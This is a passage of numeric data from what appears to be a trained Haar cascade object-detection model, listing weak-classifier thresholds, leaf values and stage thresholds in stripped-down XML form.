-6.7309997975826263e-02 + + 5.2374100685119629e-01 1.2799999676644802e-02 + <_> + + 0 -1 1187 1.3047499954700470e-01 + + -1.7122499644756317e-01 1.1235200166702271e+00 + <_> + + 0 -1 1188 -4.6245999634265900e-02 + + -1.1908329725265503e+00 1.7425599694252014e-01 + <_> + + 0 -1 1189 -2.9842000454664230e-02 + + 8.3930599689483643e-01 -1.8064199388027191e-01 + <_> + + 0 -1 1190 -3.8099999073892832e-04 + + 3.5532799363136292e-01 -2.3842300474643707e-01 + <_> + + 0 -1 1191 -2.2378999739885330e-02 + + -8.7943899631500244e-01 -7.8399997437372804e-04 + <_> + + 0 -1 1192 -1.5569999814033508e-03 + + -1.4253300428390503e-01 2.5876200199127197e-01 + <_> + + 0 -1 1193 1.2013000436127186e-02 + + -2.9015499353408813e-01 2.6051101088523865e-01 + <_> + + 0 -1 1194 2.4384999647736549e-02 + + -3.1438998878002167e-02 5.8695900440216064e-01 + <_> + + 0 -1 1195 -4.7180999070405960e-02 + + 6.9430100917816162e-01 -2.1816100180149078e-01 + <_> + + 0 -1 1196 -2.4893999099731445e-02 + + -6.4599299430847168e-01 1.5611599385738373e-01 + <_> + + 0 -1 1197 2.1944999694824219e-02 + + -2.7742000296711922e-02 -1.1346880197525024e+00 + <_> + + 0 -1 1198 1.8809899687767029e-01 + + -1.0076000355184078e-02 1.2429029941558838e+00 + <_> + + 0 -1 1199 -7.7872000634670258e-02 + + 8.5008001327514648e-01 -1.9015499949455261e-01 + <_> + + 0 -1 1200 -4.8769000917673111e-02 + + -2.0763080120086670e+00 1.2179400026798248e-01 + <_> + + 0 -1 1201 -1.7115000635385513e-02 + + -8.5687297582626343e-01 7.8760003671050072e-03 + <_> + + 0 -1 1202 -2.7499999850988388e-03 + + 3.8645499944686890e-01 -1.1391499638557434e-01 + <_> + + 0 -1 1203 -9.8793998360633850e-02 + + -1.7233899831771851e+00 -5.6063000112771988e-02 + <_> + + 0 -1 1204 -2.1936999633908272e-02 + + 5.4749399423599243e-01 -4.2481999844312668e-02 + <_> + + 0 -1 1205 6.1096999794244766e-02 + + -3.8945000618696213e-02 -1.0807880163192749e+00 + <_> + + 0 -1 1206 -2.4563999846577644e-02 + + 5.8311098814010620e-01 -9.7599998116493225e-04 + <_> + + 0 -1 1207 3.3752001821994781e-02 + + -1.3795999810099602e-02 -8.4730297327041626e-01 + <_> + + 0 -1 1208 3.8199000060558319e-02 + + 1.5114299952983856e-01 -7.9473400115966797e-01 + <_> + + 0 -1 1209 -2.0117999985814095e-02 + + 5.1579099893569946e-01 -2.1445399522781372e-01 + <_> + + 0 -1 1210 2.4734999984502792e-02 + + -2.2105000913143158e-02 4.2917698621749878e-01 + <_> + + 0 -1 1211 -2.4357000365853310e-02 + + -8.6201298236846924e-01 -3.6760000512003899e-03 + <_> + + 0 -1 1212 -2.6442000642418861e-02 + + -4.5397499203681946e-01 2.2462800145149231e-01 + <_> + + 0 -1 1213 -3.4429999068379402e-03 + + 1.3073000311851501e-01 -3.8622701168060303e-01 + <_> + + 0 -1 1214 1.0701700299978256e-01 + + 1.3158600032329559e-01 -7.9306900501251221e-01 + <_> + + 0 -1 1215 4.5152999460697174e-02 + + -2.5296801328659058e-01 4.0672400593757629e-01 + <_> + + 0 -1 1216 4.4349998235702515e-02 + + 2.2613000124692917e-02 7.9618102312088013e-01 + <_> + + 0 -1 1217 1.0839999886229634e-03 + + -3.9158400893211365e-01 1.1639100313186646e-01 + <_> + + 0 -1 1218 7.1433000266551971e-02 + + 8.2466997206211090e-02 1.2530590295791626e+00 + <_> + + 0 -1 1219 3.5838000476360321e-02 + + -1.8203300237655640e-01 7.7078700065612793e-01 + <_> + + 0 -1 1220 -2.0839000120759010e-02 + + -6.1744397878646851e-01 1.5891399979591370e-01 + <_> + + 0 -1 1221 4.2525801062583923e-01 + + -4.8978000879287720e-02 -1.8422030210494995e+00 + <_> + + 0 -1 1222 1.1408000253140926e-02 + + 1.7918199300765991e-01 -1.5383499860763550e-01 + <_> + + 0 -1 1223 -1.5364999882876873e-02 + + -8.4016501903533936e-01 -1.0280000278726220e-03 + <_> + + 0 -1 1224 -1.5212000347673893e-02 + + -1.8995699286460876e-01 1.7130999267101288e-01 + <_> + + 0 -1 1225 -1.8972000107169151e-02 + + -7.9541999101638794e-01 6.6800001077353954e-03 + <_> + + 0 -1 1226 -3.3330000005662441e-03 + + -2.3530800640583038e-01 2.4730099737644196e-01 + <_> + + 0 -1 1227 9.3248002231121063e-02 + + -5.4758001118898392e-02 -1.8324300050735474e+00 + <_> + + 0 -1 1228 -1.2555000372231007e-02 + + 2.6385200023651123e-01 -3.8526400923728943e-01 + <_> + + 0 -1 1229 -2.7070000767707825e-02 + + -6.6929799318313599e-01 2.0340999588370323e-02 + <_> + + 0 -1 1230 -2.3677000775933266e-02 + + 6.7265301942825317e-01 -1.4344000257551670e-02 + <_> + + 0 -1 1231 -1.4275000430643559e-02 + + 3.0186399817466736e-01 -2.8514400124549866e-01 + <_> + + 0 -1 1232 2.8096999973058701e-02 + + 1.4766000211238861e-01 -1.4078520536422729e+00 + <_> + + 0 -1 1233 5.0840001553297043e-02 + + -1.8613600730895996e-01 7.9953002929687500e-01 + <_> + + 0 -1 1234 1.1505999602377415e-02 + + 1.9118399918079376e-01 -8.5035003721714020e-02 + <_> + + 0 -1 1235 -1.4661000110208988e-02 + + 4.5239299535751343e-01 -2.2205199301242828e-01 + <_> + + 0 -1 1236 2.2842499613761902e-01 + + 1.3488399982452393e-01 -1.2894610166549683e+00 + <_> + + 0 -1 1237 1.1106900125741959e-01 + + -2.0753799378871918e-01 5.4561597108840942e-01 + <_> + + 0 -1 1238 3.2450000289827585e-03 + + 3.2053700089454651e-01 -1.6403500735759735e-01 + <_> + + 0 -1 1239 8.5309997200965881e-02 + + -2.0210500061511993e-01 5.3296798467636108e-01 + <_> + + 0 -1 1240 2.2048000246286392e-02 + + 1.5698599815368652e-01 -1.7014099657535553e-01 + <_> + + 0 -1 1241 -1.5676999464631081e-02 + + -6.2863498926162720e-01 4.0761999785900116e-02 + <_> + + 0 -1 1242 3.3112901449203491e-01 + + 1.6609300673007965e-01 -1.0326379537582397e+00 + <_> + + 0 -1 1243 8.8470000773668289e-03 + + -2.5076198577880859e-01 3.1660598516464233e-01 + <_> + + 0 -1 1244 4.6080000698566437e-02 + + 1.5352100133895874e-01 -1.6333500146865845e+00 + <_> + + 0 -1 1245 -3.7703000009059906e-02 + + 5.6873798370361328e-01 -2.0102599263191223e-01 + <_> + 159 + -3.5939640998840332e+00 + + <_> + + 0 -1 1246 -8.1808999180793762e-02 + + 5.7124799489974976e-01 -6.7438799142837524e-01 + <_> + + 0 -1 1247 2.1761199831962585e-01 + + -3.8610199093818665e-01 9.0343999862670898e-01 + <_> + + 0 -1 1248 1.4878000132739544e-02 + + 2.2241599857807159e-01 -1.2779350280761719e+00 + <_> + + 0 -1 1249 5.2434999495744705e-02 + + -2.8690400719642639e-01 7.5742298364639282e-01 + <_> + + 0 -1 1250 9.1429995372891426e-03 + + -6.4880400896072388e-01 2.2268800437450409e-01 + <_> + + 0 -1 1251 7.9169999808073044e-03 + + -2.9253599047660828e-01 3.1030198931694031e-01 + <_> + + 0 -1 1252 -2.6084000244736671e-02 + + 4.5532700419425964e-01 -3.8500601053237915e-01 + <_> + + 0 -1 1253 -2.9400000348687172e-03 + + -5.1264399290084839e-01 2.7432298660278320e-01 + <_> + + 0 -1 1254 5.7130001485347748e-02 + + 1.5788000077009201e-02 -1.2133100032806396e+00 + <_> + + 0 -1 1255 -6.1309998854994774e-03 + + 3.9174601435661316e-01 -3.0866798758506775e-01 + <_> + + 0 -1 1256 -4.0405001491308212e-02 + + 1.1901949644088745e+00 -2.0347100496292114e-01 + <_> + + 0 -1 1257 -2.0297000184655190e-02 + + -6.8239498138427734e-01 2.0458699762821198e-01 + <_> + + 0 -1 1258 -1.7188999801874161e-02 + + -8.4939897060394287e-01 3.8433000445365906e-02 + <_> + + 0 -1 1259 -2.4215999990701675e-02 + + -1.1039420366287231e+00 1.5975099802017212e-01 + <_> + + 0 -1 1260 5.6869000196456909e-02 + + -1.9595299661159515e-01 1.1806850433349609e+00 + <_> + + 0 -1 1261 3.6199999158270657e-04 + + -4.0847799181938171e-01 3.2938599586486816e-01 + <_> + + 0 -1 1262 9.9790003150701523e-03 + + -2.9673001170158386e-01 4.1547900438308716e-01 + <_> + + 0 -1 1263 -5.2625000476837158e-02 + + -1.3069299459457397e+00 1.7862600088119507e-01 + <_> + + 0 -1 1264 -1.3748999685049057e-02 + + 2.3665800690650940e-01 -4.4536599516868591e-01 + <_> + + 0 -1 1265 -3.0517000705003738e-02 + + 2.9018300771713257e-01 -1.1210100352764130e-01 + <_> + + 0 -1 1266 -3.0037501454353333e-01 + + -2.4237680435180664e+00 -4.2830999940633774e-02 + <_> + + 0 -1 1267 -3.5990998148918152e-02 + + 8.8206499814987183e-01 -4.7012999653816223e-02 + <_> + + 0 -1 1268 -5.5112000554800034e-02 + + 8.0119001865386963e-01 -2.0490999519824982e-01 + <_> + + 0 -1 1269 3.3762000501155853e-02 + + 1.4617599546909332e-01 -1.1349489688873291e+00 + <_> + + 0 -1 1270 -8.2710003480315208e-03 + + -8.1604897975921631e-01 1.8988000229001045e-02 + <_> + + 0 -1 1271 -5.4399999789893627e-03 + + -7.0980900526046753e-01 2.2343699634075165e-01 + <_> + + 0 -1 1272 3.1059999018907547e-03 + + -7.2808599472045898e-01 4.0224999189376831e-02 + <_> + + 0 -1 1273 5.3651999682188034e-02 + + 1.7170900106430054e-01 -1.1163710355758667e+00 + <_> + + 0 -1 1274 -1.2541399896144867e-01 + + 2.7680370807647705e+00 -1.4611500501632690e-01 + <_> + + 0 -1 1275 9.2542000114917755e-02 + + 1.1609800159931183e-01 -3.9635529518127441e+00 + <_> + + 0 -1 1276 3.8513999432325363e-02 + + -7.6399999670684338e-03 -9.8780900239944458e-01 + <_> + + 0 -1 1277 -2.0200000144541264e-03 + + 2.3059999942779541e-01 -7.4970299005508423e-01 + <_> + + 0 -1 1278 9.7599998116493225e-03 + + -3.1137999892234802e-01 3.0287799239158630e-01 + <_> + + 0 -1 1279 2.4095000699162483e-02 + + -4.9529999494552612e-02 5.2690100669860840e-01 + <_> + + 0 -1 1280 -1.7982000485062599e-02 + + -1.1610640287399292e+00 -5.7000000961124897e-03 + <_> + + 0 -1 1281 -1.0555000044405460e-02 + + -2.7189099788665771e-01 2.3597699403762817e-01 + <_> + + 0 -1 1282 -7.2889998555183411e-03 + + -5.4219102859497070e-01 8.1914000213146210e-02 + <_> + + 0 -1 1283 2.3939000442624092e-02 + + 1.7975799739360809e-01 -6.7049497365951538e-01 + <_> + + 0 -1 1284 -1.8365999683737755e-02 + + 6.2664300203323364e-01 -2.0970100164413452e-01 + <_> + + 0 -1 1285 1.5715999528765678e-02 + + 2.4193699657917023e-01 -1.0444309711456299e+00 + <_> + + 0 -1 1286 -4.8804000020027161e-02 + + -9.4060599803924561e-01 -3.7519999314099550e-03 + <_> + + 0 -1 1287 6.7130001261830330e-03 + + -7.5432002544403076e-02 6.1575299501419067e-01 + <_> + + 0 -1 1288 9.7770001739263535e-03 + + 3.9285000413656235e-02 -8.4810298681259155e-01 + <_> + + 0 -1 1289 1.4744999818503857e-02 + + 1.6968999803066254e-01 -5.0906401872634888e-01 + <_> + + 0 -1 1290 9.7079001367092133e-02 + + -3.3103000372648239e-02 -1.2706379890441895e+00 + <_> + + 0 -1 1291 4.8285998404026031e-02 + + 9.4329997897148132e-02 2.7203190326690674e+00 + <_> + + 0 -1 1292 9.7810002043843269e-03 + + -3.9533400535583496e-01 1.5363800525665283e-01 + <_> + + 0 -1 1293 -3.9893999695777893e-02 + + -2.2767400741577148e-01 1.3913999497890472e-01 + <_> + + 0 -1 1294 2.2848000749945641e-02 + + -2.7391999959945679e-01 3.4199500083923340e-01 + <_> + + 0 -1 1295 6.7179999314248562e-03 + + -1.0874299705028534e-01 4.8125401139259338e-01 + <_> + + 0 -1 1296 5.9599999338388443e-02 + + -4.9522001296281815e-02 -2.0117089748382568e+00 + <_> + + 0 -1 1297 6.9340001791715622e-03 + + 1.5037499368190765e-01 -1.1271899938583374e-01 + <_> + + 0 -1 1298 1.5757000073790550e-02 + + -2.0885000005364418e-02 -1.1651979684829712e+00 + <_> + + 0 -1 1299 -4.9690000712871552e-02 + + -8.0213499069213867e-01 1.4372299611568451e-01 + <_> + + 0 -1 1300 5.2347000688314438e-02 + + -2.0836700499057770e-01 6.1677598953247070e-01 + <_> + + 0 -1 1301 2.2430999204516411e-02 + + 2.0305900275707245e-01 -7.5326198339462280e-01 + <_> + + 0 -1 1302 4.1142001748085022e-02 + + -1.8118199706077576e-01 1.0033359527587891e+00 + <_> + + 0 -1 1303 -2.1632000803947449e-02 + + 4.9998998641967773e-01 -3.4662999212741852e-02 + <_> + + 0 -1 1304 -8.2808002829551697e-02 + + 1.1711900234222412e+00 -1.8433600664138794e-01 + <_> + + 0 -1 1305 8.5060000419616699e-03 + + -6.3225001096725464e-02 2.9024899005889893e-01 + <_> + + 0 -1 1306 7.8905001282691956e-02 + + -2.3274500668048859e-01 5.9695798158645630e-01 + <_> + + 0 -1 1307 -9.0207003057003021e-02 + + -8.2211899757385254e-01 1.7772200703620911e-01 + <_> + + 0 -1 1308 -2.9269000515341759e-02 + + 6.0860699415206909e-01 -2.1468900144100189e-01 + <_> + + 0 -1 1309 6.9499998353421688e-03 + + -4.2665999382734299e-02 6.0512101650238037e-01 + <_> + + 0 -1 1310 -8.0629996955394745e-03 + + -1.1508270502090454e+00 -2.7286000549793243e-02 + <_> + + 0 -1 1311 1.9595999270677567e-02 + + -9.1880001127719879e-03 5.6857800483703613e-01 + <_> + + 0 -1 1312 -1.4884999953210354e-02 + + 3.7658798694610596e-01 -2.7149501442909241e-01 + <_> + + 0 -1 1313 2.5217000395059586e-02 + + -9.9991001188755035e-02 2.4664700031280518e-01 + <_> + + 0 -1 1314 -1.5855999663472176e-02 + + 6.6826701164245605e-01 -2.0614700019359589e-01 + <_> + + 0 -1 1315 2.9441000893712044e-02 + + 1.5832200646400452e-01 -7.6060897111892700e-01 + <_> + + 0 -1 1316 -8.5279997438192368e-03 + + 3.8212299346923828e-01 -2.5407800078392029e-01 + <_> + + 0 -1 1317 2.4421999230980873e-02 + + 1.5105099976062775e-01 -2.8752899169921875e-01 + <_> + + 0 -1 1318 -3.3886998891830444e-02 + + -6.8002802133560181e-01 3.4327000379562378e-02 + <_> + + 0 -1 1319 -2.0810000132769346e-03 + + 2.5413900613784790e-01 -2.6859098672866821e-01 + <_> + + 0 -1 1320 3.0358999967575073e-02 + + -3.0842000618577003e-02 -1.1476809978485107e+00 + <_> + + 0 -1 1321 4.0210001170635223e-03 + + -3.5253798961639404e-01 2.9868099093437195e-01 + <_> + + 0 -1 1322 2.7681000530719757e-02 + + -3.8148999214172363e-02 -1.3262039422988892e+00 + <_> + + 0 -1 1323 7.9039996489882469e-03 + + -2.3737000301480293e-02 7.0503002405166626e-01 + <_> + + 0 -1 1324 4.4031001627445221e-02 + + 1.0674899816513062e-01 -4.5261201262474060e-01 + <_> + + 0 -1 1325 -3.2370999455451965e-02 + + 4.6674901247024536e-01 -6.1546999961137772e-02 + <_> + + 0 -1 1326 2.0933000370860100e-02 + + -2.8447899222373962e-01 4.3845599889755249e-01 + <_> + + 0 -1 1327 2.5227999314665794e-02 + + -2.2537000477313995e-02 7.0389097929000854e-01 + <_> + + 0 -1 1328 6.5520000644028187e-03 + + -3.2554900646209717e-01 2.4023699760437012e-01 + <_> + + 0 -1 1329 -5.8557998389005661e-02 + + -1.2227720022201538e+00 1.1668799817562103e-01 + <_> + + 0 -1 1330 3.1899999827146530e-02 + + -1.9305000081658363e-02 -1.0973169803619385e+00 + <_> + + 0 -1 1331 -3.0445000156760216e-02 + + 6.5582501888275146e-01 7.5090996921062469e-02 + <_> + + 0 -1 1332 1.4933000318706036e-02 + + -5.2155798673629761e-01 1.1523099988698959e-01 + <_> + + 0 -1 1333 -4.9008000642061234e-02 + + -7.8303998708724976e-01 1.6657200455665588e-01 + <_> + + 0 -1 1334 8.3158999681472778e-02 + + -2.6879999786615372e-03 -8.5282301902770996e-01 + <_> + + 0 -1 1335 2.3902999237179756e-02 + + -5.1010999828577042e-02 4.1999098658561707e-01 + <_> + + 0 -1 1336 1.6428999602794647e-02 + + 1.9232999533414841e-02 -6.5049099922180176e-01 + <_> + + 0 -1 1337 -1.1838000267744064e-02 + + -6.2409800291061401e-01 1.5411199629306793e-01 + <_> + + 0 -1 1338 -1.6799999866634607e-04 + + 1.7589199542999268e-01 -3.4338700771331787e-01 + <_> + + 0 -1 1339 1.9193999469280243e-02 + + 4.3418999761343002e-02 7.9069197177886963e-01 + <_> + + 0 -1 1340 -1.0032000020146370e-02 + + 4.5648899674415588e-01 -2.2494800388813019e-01 + <_> + + 0 -1 1341 -1.4004000462591648e-02 + + 3.3570998907089233e-01 -4.8799999058246613e-03 + <_> + + 0 -1 1342 -1.0319899767637253e-01 + + -2.3378000259399414e+00 -5.8933001011610031e-02 + <_> + + 0 -1 1343 -9.5697000622749329e-02 + + -6.6153901815414429e-01 2.0098599791526794e-01 + <_> + + 0 -1 1344 -4.1480999439954758e-02 + + 4.5939201116561890e-01 -2.2314099967479706e-01 + <_> + + 0 -1 1345 2.4099999573081732e-03 + + -2.6898598670959473e-01 2.4922999739646912e-01 + <_> + + 0 -1 1346 1.0724999755620956e-01 + + -1.8640199303627014e-01 7.2769802808761597e-01 + <_> + + 0 -1 1347 3.1870000530034304e-03 + + -2.4608999490737915e-02 2.8643900156021118e-01 + <_> + + 0 -1 1348 2.9167000204324722e-02 + + -3.4683000296354294e-02 -1.1162580251693726e+00 + <_> + + 0 -1 1349 1.1287000030279160e-02 + + 6.3760001212358475e-03 6.6632097959518433e-01 + <_> + + 0 -1 1350 -1.2001000344753265e-02 + + 4.2420101165771484e-01 -2.6279801130294800e-01 + <_> + + 0 -1 1351 -1.2695999816060066e-02 + + -2.1957000717520714e-02 1.8936799466609955e-01 + <_> + + 0 -1 1352 2.4597000330686569e-02 + + -3.4963998943567276e-02 -1.0989320278167725e+00 + <_> + + 0 -1 1353 4.5953001827001572e-02 + + 1.1109799891710281e-01 -2.9306049346923828e+00 + <_> + + 0 -1 1354 -2.7241000905632973e-02 + + 2.9101699590682983e-01 -2.7407899498939514e-01 + <_> + + 0 -1 1355 4.0063999593257904e-02 + + 1.1877900362014771e-01 -6.2801802158355713e-01 + <_> + + 0 -1 1356 2.3055000230669975e-02 + + 1.4813800156116486e-01 -3.7007498741149902e-01 + <_> + + 0 -1 1357 -2.3737000301480293e-02 + + -5.3724801540374756e-01 1.9358199834823608e-01 + <_> + + 0 -1 1358 7.7522002160549164e-02 + + -6.0194000601768494e-02 -1.9489669799804688e+00 + <_> + + 0 -1 1359 -1.3345000334084034e-02 + + -4.5229598879814148e-01 1.8741500377655029e-01 + <_> + + 0 -1 1360 -2.1719999611377716e-02 + + 1.2144249677658081e+00 -1.5365800261497498e-01 + <_> + + 0 -1 1361 -7.1474999189376831e-02 + + -2.3047130107879639e+00 1.0999900102615356e-01 + <_> + + 0 -1 1362 -5.4999999701976776e-03 + + -7.1855199337005615e-01 2.0100999623537064e-02 + <_> + + 0 -1 1363 2.6740999892354012e-02 + + 7.3545001447200775e-02 9.8786002397537231e-01 + <_> + + 0 -1 1364 -3.9407998323440552e-02 + + -1.2227380275726318e+00 -4.3506998568773270e-02 + <_> + + 0 -1 1365 2.5888999924063683e-02 + + 1.3409300148487091e-01 -1.1770780086517334e+00 + <_> + + 0 -1 1366 4.8925001174211502e-02 + + -3.0810000374913216e-02 -9.3479502201080322e-01 + <_> + + 0 -1 1367 3.6892998963594437e-02 + + 1.3333700597286224e-01 -1.4998290538787842e+00 + <_> + + 0 -1 1368 7.8929997980594635e-02 + + -1.4538800716400146e-01 1.5631790161132812e+00 + <_> + + 0 -1 1369 2.9006000608205795e-02 + + 1.9383700191974640e-01 -6.7642802000045776e-01 + <_> + + 0 -1 1370 6.3089998438954353e-03 + + -3.7465399503707886e-01 1.0857500135898590e-01 + <_> + + 0 -1 1371 -6.5830998122692108e-02 + + 8.1059402227401733e-01 3.0201999470591545e-02 + <_> + + 0 -1 1372 -6.8965002894401550e-02 + + 8.3772599697113037e-01 -1.7140999436378479e-01 + <_> + + 0 -1 1373 -1.1669100075960159e-01 + + -9.4647198915481567e-01 1.3123199343681335e-01 + <_> + + 0 -1 1374 -1.3060000492259860e-03 + + 4.6007998287677765e-02 -5.2011597156524658e-01 + <_> + + 0 -1 1375 -4.4558998197317123e-02 + + -1.9423669576644897e+00 1.3200700283050537e-01 + <_> + + 0 -1 1376 5.1033001393079758e-02 + + -2.1480999886989594e-01 4.8673900961875916e-01 + <_> + + 0 -1 1377 -3.1578000634908676e-02 + + 5.9989798069000244e-01 7.9159997403621674e-03 + <_> + + 0 -1 1378 2.1020000800490379e-02 + + -2.2069500386714935e-01 5.4046201705932617e-01 + <_> + + 0 -1 1379 -1.3824200630187988e-01 + + 6.2957501411437988e-01 -2.1712999790906906e-02 + <_> + + 0 -1 1380 5.2228998392820358e-02 + + -2.3360900580883026e-01 4.9760800600051880e-01 + <_> + + 0 -1 1381 2.5884000584483147e-02 + + 1.8041999638080597e-01 -2.2039200365543365e-01 + <_> + + 0 -1 1382 -1.2138999998569489e-02 + + -6.9731897115707397e-01 1.5712000429630280e-02 + <_> + + 0 -1 1383 -2.4237999692559242e-02 + + 3.4593299031257629e-01 7.1469999849796295e-02 + <_> + + 0 -1 1384 -2.5272000581026077e-02 + + -8.7583297491073608e-01 -9.8240002989768982e-03 + <_> + + 0 -1 1385 1.2597000226378441e-02 + + 2.3649999499320984e-01 -2.8731200098991394e-01 + <_> + + 0 -1 1386 5.7330999523401260e-02 + + -6.1530999839305878e-02 -2.2326040267944336e+00 + <_> + + 0 -1 1387 1.6671000048518181e-02 + + -1.9850100576877594e-01 4.0810701251029968e-01 + <_> + + 0 -1 1388 -2.2818999364972115e-02 + + 9.6487599611282349e-01 -2.0245699584484100e-01 + <_> + + 0 -1 1389 3.7000001611886546e-05 + + -5.8908998966217041e-02 2.7055400609970093e-01 + <_> + + 0 -1 1390 -7.6700001955032349e-03 + + -4.5317101478576660e-01 8.9628003537654877e-02 + <_> + + 0 -1 1391 9.4085998833179474e-02 + + 1.1604599654674530e-01 -1.0951169729232788e+00 + <_> + + 0 -1 1392 -6.2267001718282700e-02 + + 1.8096530437469482e+00 -1.4773200452327728e-01 + <_> + + 0 -1 1393 1.7416000366210938e-02 + + 2.3068200051784515e-01 -4.2417600750923157e-01 + <_> + + 0 -1 1394 -2.2066000849008560e-02 + + 4.9270299077033997e-01 -2.0630900561809540e-01 + <_> + + 0 -1 1395 -1.0404000058770180e-02 + + 6.0924297571182251e-01 2.8130000457167625e-02 + <_> + + 0 -1 1396 -9.3670003116130829e-03 + + 4.0171200037002563e-01 -2.1681700646877289e-01 + <_> + + 0 -1 1397 -2.9039999470114708e-02 + + -8.4876501560211182e-01 1.4246800541877747e-01 + <_> + + 0 -1 1398 -2.1061999723315239e-02 + + -7.9198300838470459e-01 -1.2595999985933304e-02 + <_> + + 0 -1 1399 -3.7000998854637146e-02 + + -6.7488902807235718e-01 1.2830400466918945e-01 + <_> + + 0 -1 1400 1.0735999792814255e-02 + + 3.6779999732971191e-02 -6.3393002748489380e-01 + <_> + + 0 -1 1401 1.6367599368095398e-01 + + 1.3803899288177490e-01 -4.7189000248908997e-01 + <_> + + 0 -1 1402 9.4917997717857361e-02 + + -1.3855700194835663e-01 1.9492419958114624e+00 + <_> + + 0 -1 1403 3.5261999815702438e-02 + + 1.3721899688243866e-01 -2.1186530590057373e+00 + <_> + + 0 -1 1404 1.2811000458896160e-02 + + -2.0008100569248199e-01 4.9507799744606018e-01 + <_> + 155 + -3.3933560848236084e+00 + + <_> + + 0 -1 1405 1.3904400169849396e-01 + + -4.6581199765205383e-01 7.6431602239608765e-01 + <_> + + 0 -1 1406 1.1916999705135822e-02 + + -9.4398999214172363e-01 3.9726299047470093e-01 + <_> + + 0 -1 1407 -1.0006999596953392e-02 + + 3.2718798518180847e-01 -6.3367402553558350e-01 + <_> + + 0 -1 1408 -6.0479999519884586e-03 + + 2.7427899837493896e-01 -5.7446998357772827e-01 + <_> + + 0 -1 1409 -1.2489999644458294e-03 + + 2.3629300296306610e-01 -6.8593502044677734e-01 + <_> + + 0 -1 1410 3.2382000237703323e-02 + + -5.7630199193954468e-01 2.7492699027061462e-01 + <_> + + 0 -1 1411 -1.3957999646663666e-02 + + -6.1061501502990723e-01 2.4541600048542023e-01 + <_> + + 0 -1 1412 1.1159999994561076e-03 + + -5.6539100408554077e-01 2.7179300785064697e-01 + <_> + + 0 -1 1413 2.7000000045518391e-05 + + -8.0235999822616577e-01 1.1509100347757339e-01 + <_> + + 0 -1 1414 -2.5700000696815550e-04 + + -8.1205898523330688e-01 2.3844699561595917e-01 + <_> + + 0 -1 1415 4.0460000745952129e-03 + + 1.3909600675106049e-01 -6.6163200139999390e-01 + <_> + + 0 -1 1416 1.4356000348925591e-02 + + -1.6485199332237244e-01 4.1901698708534241e-01 + <_> + + 0 -1 1417 -5.5374998599290848e-02 + + 1.4425870180130005e+00 -1.8820199370384216e-01 + <_> + + 0 -1 1418 9.3594998121261597e-02 + + 1.3548299670219421e-01 -9.1636097431182861e-01 + <_> + + 0 -1 1419 2.6624999940395355e-02 + + -3.3748298883438110e-01 3.9233601093292236e-01 + <_> + + 0 -1 1420 3.7469998933374882e-03 + + -1.1615400016307831e-01 4.4399300217628479e-01 + <_> + + 0 -1 1421 -3.1886000186204910e-02 + + -9.9498301744461060e-01 1.6120000509545207e-03 + <_> + + 0 -1 1422 -2.2600000724196434e-02 + + -4.8067399859428406e-01 1.7007300257682800e-01 + <_> + + 0 -1 1423 2.5202000513672829e-02 + + 3.5580001771450043e-02 -8.0215400457382202e-01 + <_> + + 0 -1 1424 -3.1036999076604843e-02 + + -1.0895340442657471e+00 1.8081900477409363e-01 + <_> + + 0 -1 1425 -2.6475999504327774e-02 + + 9.5671200752258301e-01 -2.1049399673938751e-01 + <_> + + 0 -1 1426 -1.3853999786078930e-02 + + -1.0370320081710815e+00 2.2166700661182404e-01 + <_> + + 0 -1 1427 -6.2925003468990326e-02 + + 9.0199398994445801e-01 -1.9085299968719482e-01 + <_> + + 0 -1 1428 -4.4750999659299850e-02 + + -1.0119110345840454e+00 1.4691199362277985e-01 + <_> + + 0 -1 1429 -2.0428000018000603e-02 + + 6.1624497175216675e-01 -2.3552699387073517e-01 + <_> + + 0 -1 1430 -8.0329999327659607e-03 + + -8.3279997110366821e-02 2.1728700399398804e-01 + <_> + + 0 -1 1431 8.7280003353953362e-03 + + 6.5458998084068298e-02 -6.0318702459335327e-01 + <_> + + 0 -1 1432 -2.7202000841498375e-02 + + -9.3447399139404297e-01 1.5270000696182251e-01 + <_> + + 0 -1 1433 -1.6471000388264656e-02 + + -8.4177100658416748e-01 1.3332000002264977e-02 + <_> + + 0 -1 1434 -1.3744000345468521e-02 + + 6.0567200183868408e-01 -9.2021003365516663e-02 + <_> + + 0 -1 1435 2.9164999723434448e-02 + + -2.8114000335335732e-02 -1.4014569520950317e+00 + <_> + + 0 -1 1436 3.7457000464200974e-02 + + 1.3080599904060364e-01 -4.9382498860359192e-01 + <_> + + 0 -1 1437 -2.5070000439882278e-02 + + -1.1289390325546265e+00 -1.4600000344216824e-02 + <_> + + 0 -1 1438 -6.3812002539634705e-02 + + 7.5871598720550537e-01 -1.8200000049546361e-03 + <_> + + 0 -1 1439 -9.3900002539157867e-03 + + 2.9936400055885315e-01 -2.9487800598144531e-01 + <_> + + 0 -1 1440 -7.6000002445653081e-04 + + 1.9725000485777855e-02 1.9993899762630463e-01 + <_> + + 0 -1 1441 -2.1740999072790146e-02 + + -8.5247898101806641e-01 4.9169998615980148e-02 + <_> + + 0 -1 1442 -1.7869999632239342e-02 + + -5.9985999017953873e-02 1.5222500264644623e-01 + <_> + + 0 -1 1443 -2.4831000715494156e-02 + + 3.5603401064872742e-01 -2.6259899139404297e-01 + <_> + + 0 -1 1444 1.5715500712394714e-01 + + 1.5599999460391700e-04 1.0428730249404907e+00 + <_> + + 0 -1 1445 6.9026999175548553e-02 + + -3.3006999641656876e-02 -1.1796669960021973e+00 + <_> + + 0 -1 1446 -1.1021999642252922e-02 + + 5.8987700939178467e-01 -5.7647999376058578e-02 + <_> + + 0 -1 1447 -1.3834999874234200e-02 + + 5.9502798318862915e-01 -2.4418599903583527e-01 + <_> + + 0 -1 1448 -3.0941000208258629e-02 + + -1.1723799705505371e+00 1.6907000541687012e-01 + <_> + + 0 -1 1449 2.1258000284433365e-02 + + -1.8900999799370766e-02 -1.0684759616851807e+00 + <_> + + 0 -1 1450 9.3079999089241028e-02 + + 1.6305600106716156e-01 -1.3375270366668701e+00 + <_> + + 0 -1 1451 2.9635999351739883e-02 + + -2.2524799406528473e-01 4.5400100946426392e-01 + <_> + + 0 -1 1452 -1.2199999764561653e-04 + + 2.7409100532531738e-01 -3.7371399998664856e-01 + <_> + + 0 -1 1453 -4.2098000645637512e-02 + + -7.5828802585601807e-01 1.7137000337243080e-02 + <_> + + 0 -1 1454 -2.2505000233650208e-02 + + -2.2759300470352173e-01 2.3698699474334717e-01 + <_> + + 0 -1 1455 -1.2862999923527241e-02 + + 1.9252400100231171e-01 -3.2127100229263306e-01 + <_> + + 0 -1 1456 2.7860000729560852e-02 + + 1.6723699867725372e-01 -1.0209059715270996e+00 + <_> + + 0 -1 1457 -2.7807999402284622e-02 + + 1.2824759483337402e+00 -1.7225299775600433e-01 